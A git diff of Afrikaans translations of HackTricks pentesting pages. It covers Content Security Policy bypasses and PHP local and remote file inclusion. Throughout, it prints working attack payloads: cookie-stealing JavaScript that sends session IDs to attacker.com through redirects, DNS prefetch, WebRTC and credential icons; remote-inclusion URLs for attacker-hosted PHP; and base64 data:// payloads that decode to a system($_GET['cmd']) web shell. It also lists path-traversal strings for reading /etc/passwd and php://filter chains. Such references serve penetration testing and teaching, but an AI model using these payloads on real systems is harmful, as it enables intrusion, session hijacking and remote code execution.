+# Exceed max_input_vars to force warnings before header() → CSP stripped
+curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
+# Warning: PHP Request Startup: Input variables exceeded 1000 ...
+# Warning: Cannot modify header information - headers already sent
+```
+### Herskryf foutbladsy
+
+Volgens [**this writeup**](https://blog.ssrf.kr/69) blyk dit dat dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en die inhoud daarvan te herskryf.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@@ -625,40 +643,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 ```
 ### SOME + 'self' + wordpress
 
-SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **in 'n eindpunt van 'n bladsy** misbruik om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvallerbladsy te laai en dan die aanvallerbladsy te verfris na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`** objek in die **payload** gebruik om **toegang te verkry tot die DOM** van die **werklike eindpunt om te misbruik**. Vir meer inligting, kyk:
+SOME is 'n tegniek wat 'n XSS (of sterk beperkte XSS) misbruik **in an endpoint of a page** om **ander endpoints van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwetsbare endpoint vanaf 'n aanvallersbladsy te laai en dan die aanvallersbladsy te verfris na die regte endpoint in dieselfde oorsprong wat jy wil misbruik. Op hierdie manier kan die **vulnerable endpoint** die **`opener`** object in die **payload** gebruik om toegang tot die **DOM** van die **real endpoint to abuse** te kry. Vir meer inligting kyk:
 
 {{#ref}}
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
 {{#endref}}
 
-Boonop het **wordpress** 'n **JSONP** eindpunt in `/wp-json/wp/v2/users/1?_jsonp=data` wat die **data** wat in die uitvoer gestuur word, **reflekteer** (met die beperking van slegs letters, syfers en punte).
+Boonop het **wordpress** 'n **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` wat die **data** wat gestuur word in die uitset **reflekt** (met die beperking tot slegs letters, syfers en punte).
 
-'n Aanvaller kan daardie eindpunt misbruik om **'n SOME-aanval te genereer** teen WordPress en dit binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` te **inkorporeer**, let daarop dat hierdie **script** **gelaai** sal word omdat dit **toegelaat word deur 'self'**. Boonop, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare** **callback** eindpunt wat die CSP **omseil** om meer voorregte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...\
-Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
+'n Aanvaller kan daardie endpoint misbruik om **generate a SOME attack** teen WordPress en dit **embed** binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` noot dat hierdie **script** **loaded** sal word omdat dit deur **'self'** toegelaat word. Verder, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME attack** misbruik deur die **vulnerable** **callback** endpoint wat die **CSP** **bypasses** om meer voorregte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...\
+Vir meer inligting oor hoe om hierdie attack uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
-## CSP Exfiltration Bypasses
+## CSP Eksfiltrasie Omseilings
 
-As daar 'n streng CSP is wat jou nie toelaat om met **eksterne bedieners** te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.
+As daar 'n streng CSP is wat jou nie toelaat om **interact with external servers** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.
 
 ### Location
 
-Jy kan net die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur:
+Jy kan eenvoudig die location opdateer om die geheime inligting na die aanvaller se bediener te stuur:
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 document.location = "https://attacker.com/?" + sessionid
 ```
 ### Meta tag
 
-Jy kan herlei deur 'n meta tag in te voeg (dit is net 'n herleiding, dit sal nie inhoud lek nie)
+Jy kan herlei deur 'n meta-tag in te voeg (dit is net 'n redirect, dit sal nie leak inhoud nie)
 ```html
 <meta http-equiv="refresh" content="1; http://attacker.com" />
 ```
 ### DNS Prefetch
 
-Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP-adresse en dit vir later gebruik kas.\
-Jy kan 'n blaaier aanwys om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
+Om bladsye vinniger te laai, sal blaaiers hostnames vooraf na IP-adresse oplos en dit in die kas stoor vir later gebruik.\
+Jy kan 'n blaaier aandui om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
 
-Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS-versoeke te exfiltreer**:
+Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS-versoeke te eksfiltreer**:
 ```javascript
 var sessionid = document.cookie.split("=")[1] + "."
 var body = document.getElementsByTagName("body")[0]
@@ -675,18 +693,18 @@ linkEl.rel = "prefetch"
 linkEl.href = urlWithYourPreciousData
 document.head.appendChild(linkEl)
 ```
-Om te verhoed dat dit gebeur, kan die bediener die HTTP-kop stuur:
+Om te voorkom dat dit gebeur, kan die bediener die HTTP header stuur:
 ```
 X-DNS-Prefetch-Control: off
 ```
 > [!TIP]
-> Blykbaar werk hierdie tegniek nie in headless blaaiers (bots) nie
+> Skynbaar werk hierdie tegniek nie in headless browsers (bots) nie
 
 ### WebRTC
 
-Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid** van die CSP nagaan nie.
+Op verskeie bladsye kan jy lees dat **WebRTC die `connect-src` beleid van die CSP nie nagaan**.
 
-Werklik kan jy _leak_ inligting gebruikmakend van 'n _DNS versoek_. Kyk na hierdie kode:
+Eintlik kan jy _leak_ inligting deur 'n _DNS request_ te gebruik. Kyk na hierdie kode:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@@ -694,7 +712,7 @@ p.createDataChannel("")
 p.setLocalDescription(await p.createOffer())
 })()
 ```
-'n Ander opsie:
+Nog 'n opsie:
 ```javascript
 var pc = new RTCPeerConnection({
 "iceServers":[
@@ -708,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
 ### CredentialsContainer
 
-Die geloofwaardigheid pop-up stuur 'n DNS versoek na die iconURL sonder om deur die bladsy beperk te word. Dit werk slegs in 'n veilige konteks (HTTPS) of op localhost.
+Die credential popup stuur 'n DNS-versoek na die iconURL sonder dat dit deur die bladsy beperk word. Dit werk slegs in 'n veilige konteks (HTTPS) of op localhost.
 ```javascript
 navigator.credentials.store(
 new FederatedCredential({
@@ -719,12 +737,12 @@ iconURL:"https:"+your_data+"example.com"
 })
 )
 ```
-## Kontroleer CSP Beleide Aanlyn
+## Kontroleer CSP-beleid aanlyn
 
 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
 - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
 
-## Outomatiese skep van CSP
+## CSP outomaties skep
 
 [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
 
@@ -738,6 +756,7 @@ iconURL:"https:"+your_data+"example.com"
 - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
 - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
 - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 
 ​
 

src/pentesting-web/file-inclusion/README.md

@@ -4,50 +4,50 @@
 
 ## File Inclusion
 
-**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard **uitgeskakel** (**allow_url_include**).\
+**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard **uitgeskakel** (**allow_url_include**).\
 **Local File Inclusion (LFI):** Die bediener laai 'n plaaslike lêer.
 
-Die kwesbaarheid ontstaan wanneer die gebruiker op 'n of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
+Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
 
 Kwetsbare **PHP functions**: require, require_once, include, include_once
 
-'n Interessante hulpmiddel om hierdie kwesbaarheid uit te buit: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+'n Interessante hulpmiddel om hierdie kwesbaarheid te eksploiteer: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
 
-## Blind - Interesting - LFI2RCE files
+## Blind - Interessant - LFI2RCE lêers
 ```python
 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
 ```
 ### **Linux**
 
-**Deur verskeie *nix LFI-lyste te kombineer en meer paaie by te voeg het ek hierdie een geskep:**
+**Deur verskeie *nix LFI-lyste te meng en meer paaie by te voeg het ek hierdie een geskep:**
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
 {{#endref}}
 
-Probeer ook om `/` te verander na `\`\
+Probeer ook om `/` vir `\` te verander\
 Probeer ook om `../../../../../` by te voeg
 
 A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
 
 ### **Windows**
 
-Samevoeging van verskeie wordlists:
+Samevoeging van verskillende wordlists:
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
 {{#endref}}
 
-Probeer ook om `/` te verander na `\`\
+Probeer ook om `/` vir `\` te verander\
 Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg
 
 A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
 
 ### **OS X**
 
-Kyk na die LFI-lys van Linux.
+Kyk na die LFI-lys van linux.
 
 ## Basiese LFI en omseilings
 
@@ -55,7 +55,7 @@ Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclus
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### traversal sequences nie-rekursief verwyder
+### traversal sequences verwyder nie-rekursief
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 ### **Null byte (%00)**
 
-Bypass om meer karakters aan die einde van die verskafte string by te voeg (bypass of: $\_GET\['param']."php")
+Bypass die toevoeging van meer karakters aan die einde van die verskafte string (bypass of: $\_GET\['param']."php")
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
 Dit is **opgelos sedert PHP 5.4**
 
-### **Enkodering**
+### **Kodering**
 
-Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander):
+Jy kan nie-standaard koderinge gebruik soos double URL encode (en ander):
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
-### Van bestaande folder
+### Vanaf bestaande gids
 
-Miskien kontroleer die back-end die folder path:
+Miskien kontroleer die back-end die gids pad:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
-### Verkenning van lêerstelsel-gidse op 'n bediener
+### Verkenning van Lêerstelselgidse op 'n Server
 
-Die lêerstelsel van 'n bediener kan rekursief verken word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die vasstelling van die gidsdiepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetaileerde metode om dit te bereik:
+Die lêerstelsel van 'n server kan rekursief verken word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidsdiepte en die toetsing vir die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
 
-1. **Bepaal die gidsdiepte:** Bepaal die diepte van jou huidige gids deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees en 'n diepte van drie aandui:
+1. **Bepaal gidsdiepte:** Vind die diepte van jou huidige gids deur suksesvol die `/etc/passwd`-lêer te haal (toepaslik as die server is Linux-based). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Probe for Folders:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die addisionele gidsvlak vereis dat die diepte met een verhoog word:
+2. **Soek na gidse:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
-3. **Interpretasie van die Uitkomste:** Die bediener se reaksie dui aan of die gids bestaan:
-- **Fout / Geen Uitvoer:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
-- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die gids `private` is bevestig.
-4. **Rekursiewe Verkenning:** Gevonde gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.
+3. **Interpreteer die uitkomste:** Die bediener se reaksie dui aan of die gids bestaan:
+- **Fout / Geen Uitvoer:** Die gids `private` bestaan waarskynlik nie by die gespesifiseerde ligging nie.
+- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
+4. **Rekursiewe Verkenning:** Gevonde gidses kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.
 
-Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` 'n `private` gids bevat (aannemende die huidige gids is op 'n diepte van 3), gebruik:
+Om gidses op verskillende plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aangesien die huidige gids op 'n diepte van 3 is), gebruik:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**
 
-Path truncation is 'n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies byvoeg. Die doel is om 'n lêerpad te konstruer wat, sodra dit deur die sekuriteitsmaatreël gewysig is, steeds na die gewenste lêer wys.
+Path truncation is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere veiligheidsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie toevoeg. Die doel is om 'n lêerpad te konstrueer wat, sodra dit deur die veiligheidsmaatreël verander is, steeds na die gewenste lêer wys.
 
-In PHP kan verskillende voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
+In PHP kan verskeie voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
 
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad beskou.
-- Wanneer die laaste 6 karakters `passwd` is, verander die aanheg van ` / ` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
-- Net so, as `.php` aan 'n lêerpad aangeheg word (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die lêer wat geraadpleeg word verander nie.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
+- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
+- Op dieselfde manier, as `.php` aan 'n lêerpad aangeheg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die betrokke lêer wat geraadpleeg word, verander nie.
 
-Die voorbeelde hieronder demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):
+Die verskafde voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel afhangende van die bediener se konfigurasie.
+In hierdie scenario's kan die aantal traversals wat benodig word rondom 2027 wees, maar hierdie getal kan wissel afhangende van die bediener se konfigurasie.
 
-- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters kan gebruik word om deur die lêerstelsel te navigeer en effektief aangehegte strings deur die bediener te ignoreer.
-- **Determining the Required Number of Traversals**: Deur proef en fout kan iemand die presiese aantal `../` sequences vind wat nodig is om na die root directory en dan na `/etc/passwd` te navigeer, en sodoende enige aangehegte stringe (soos `.php`) te neutraliseer terwyl die gewenste pad (`/etc/passwd`) ongeskonde bly.
-- **Starting with a Fake Directory**: Dit is algemeen om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om aan die bediener se path parsing logic se vereistes te voldoen.
+- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) gekombineer met ekstra dot segments en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer.
+- **Determining the Required Number of Traversals**: Deur proef-en-fout kan iemand die presiese aantal `../` sequences vind wat nodig is om na die wortelgids te navigeer en daarna na `/etc/passwd`, en te verseker dat enige aangehegte stringe (soos `.php`) geneutraliseer word maar die verlangde pad (`/etc/passwd`) onaangeraak bly.
+- **Starting with a Fake Directory**: Dit is algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad-ontledingslogika te voldoen.
 
-Wanneer path truncation techniques toegepas word, is dit noodsaaklik om die bediener se path parsing behavior en filesystem structure te verstaan. Elke scenario kan 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.
+Wanneer path truncation techniques gebruik word, is dit kritiek om die bediener se pad-ontledingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n ander benadering benodig, en toetsing is dikwels nodig om die doeltreffendste metode te vind.
 
 **Hierdie kwesbaarheid is reggestel in PHP 5.3.**
 
@@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion
 
-In php is dit standaard gedeaktiveer omdat **`allow_url_include`** op **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
+In php is dit standaard gedeaktiveer omdat **`allow_url_include`** **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou server insluit en RCE kry:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-As om een of ander rede **`allow_url_include`** **On** is, maar PHP is **filtering** toegang tot eksterne webblaaie, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry:
+Indien om een of ander rede **`allow_url_include`** is **On**, maar PHP is **filtering** toegang tot eksterne webbladsye, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat op `.txt` geëindig het, dus eindig die string daarmee en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP code ingesluit word (en dus uitgevoer).
+> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string benodig het wat op `.txt` eindig, dus eindig die string daarmee en nadat die b64 decode plaasgevind het sal daardie deel net gemors teruggee en die werklike PHP code ingesluit word (en daarom uitgevoer word).
 
-Another example **wat nie die `php://` protokol gebruik nie** sou wees:
+Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
 ## Python wortelelement
 
-In python, in 'n kode soos hierdie:
+In python in 'n kode soos hierdie:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige pad net verwyder**:
+As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige path** net verwyder:
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
 Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
 
-> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die saamvoeging voort vanaf die absolute pad-komponent.
+> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan samvoeging voort vanaf die absolute pad-komponent.
 
-## Java - lys van gidse
+## Java lys van gidse
 
-Dit lyk asof as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee word**. Dit sal nie in ander tale gebeur nie (afaik).
+Dit lyk of as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **gidslys teruggestuur word**. Dit sal nie in ander tale gebeur nie (sover ek weet).
 
 ## Top 25 parameters
 
-Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir local file inclusion (LFI) (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Hier is 'n lys van top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@@ -211,38 +211,38 @@ Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir local file inc
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI met PHP wrappers & protokolle
+## LFI / RFI using PHP wrappers & protocols
 
 ### php://filter
 
-PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gelees of geskryf word. Daar is 5 kategorieë van filters:
+PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
 
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
 - `string.strip_tags`: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)
-- Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
+- Note that this filter has disappear from the modern versions of PHP
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
-- `convert.iconv.*` : Transformeer na 'n ander enkodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle kodings** wat ondersteun word te kry, voer in die konsole: `iconv -l`
+- `convert.iconv.*` : Transformeer na 'n ander kodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle koderinge** wat ondersteun word te kry, voer in die konsole uit: `iconv -l`
 
 > [!WARNING]
-> Deur die `convert.iconv.*`-omsettingsfilter te misbruik kan jy **ewekansige teks genereer**, wat nuttig kan wees om ewekansige teks te skryf of om 'n funksie soos include te laat verwerk ewekansige teks. Vir meer inligting, sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Deur die `convert.iconv.*` konversiefilter te misbruik kan jy **arbitrêre teks genereer**, wat nuttig kan wees om arbitrêre teks te skryf of 'n funksie soos include te laat verwerk arbitrêre teks. Vir meer inligting sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting wil eksfilleer)
-- `zlib.inflate`: Dekompresseer die data
+- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
+- `zlib.inflate`: Decompress the data
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
-- `mcrypt.*` : Deprecated
-- `mdecrypt.*` : Deprecated
-- Ander Filters
-- As jy in PHP `var_dump(stream_get_filters());` uitvoer, kan jy 'n paar **onverwagte filters** vind:
+- `mcrypt.*`: Verouderd
+- `mdecrypt.*`: Verouderd
+- Other Filters
+- Deur in PHP `var_dump(stream_get_filters());` uit te voer kan jy 'n paar **onverwagte filters** vind:
 - `consumed`
-- `dechunk`: keert HTTP chunked encoding om
+- `dechunk`: reverses HTTP chunked encoding
 - `convert.*`
 ```php
 # String Filters
@@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
 ```
 > [!WARNING]
-> Die gedeelte "php://filter" is nie hoofletter-sensitief nie
+> Die deel "php://filter" is case insensitive
 
-### Using php filters as oracle to read arbitrary files
+### Gebruik van php filters as oracle om arbitrêre lêers te lees
 
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder dat die uitset deur die server teruggegee word. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters as oracle**. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak om php 'n exception te laat gooi.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die output terug van die server te kry. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n exception gooi.
 
 In die oorspronklike post vind jy 'n gedetaileerde verduideliking van die tegniek, maar hier is 'n vinnige opsomming:
 
-- Use the codec **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en om die stringgrootte eksponensieel te laat toeneem.
-- Hierdie sal gebruik word om 'n **teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraden word** dat php 'n **error** sal veroorsaak.
+- Gebruik die codec **`UCS-4LE`** om die leidende karakter van die teks aan die begin te laat en om die grootte van die string eksponensieel te laat toeneem.
+- Dit sal gebruik word om 'n **teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraai word** dat php 'n **error** sal veroorsaak.
 - Die **dechunk** filter sal **alles verwyder as die eerste char nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste char hex is.
-- Dit, gekombineer met die vorige (en ander filters afhangende van die geraade letter), sal ons toelaat om 'n letter aan die beginning van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php error veroorsaak.
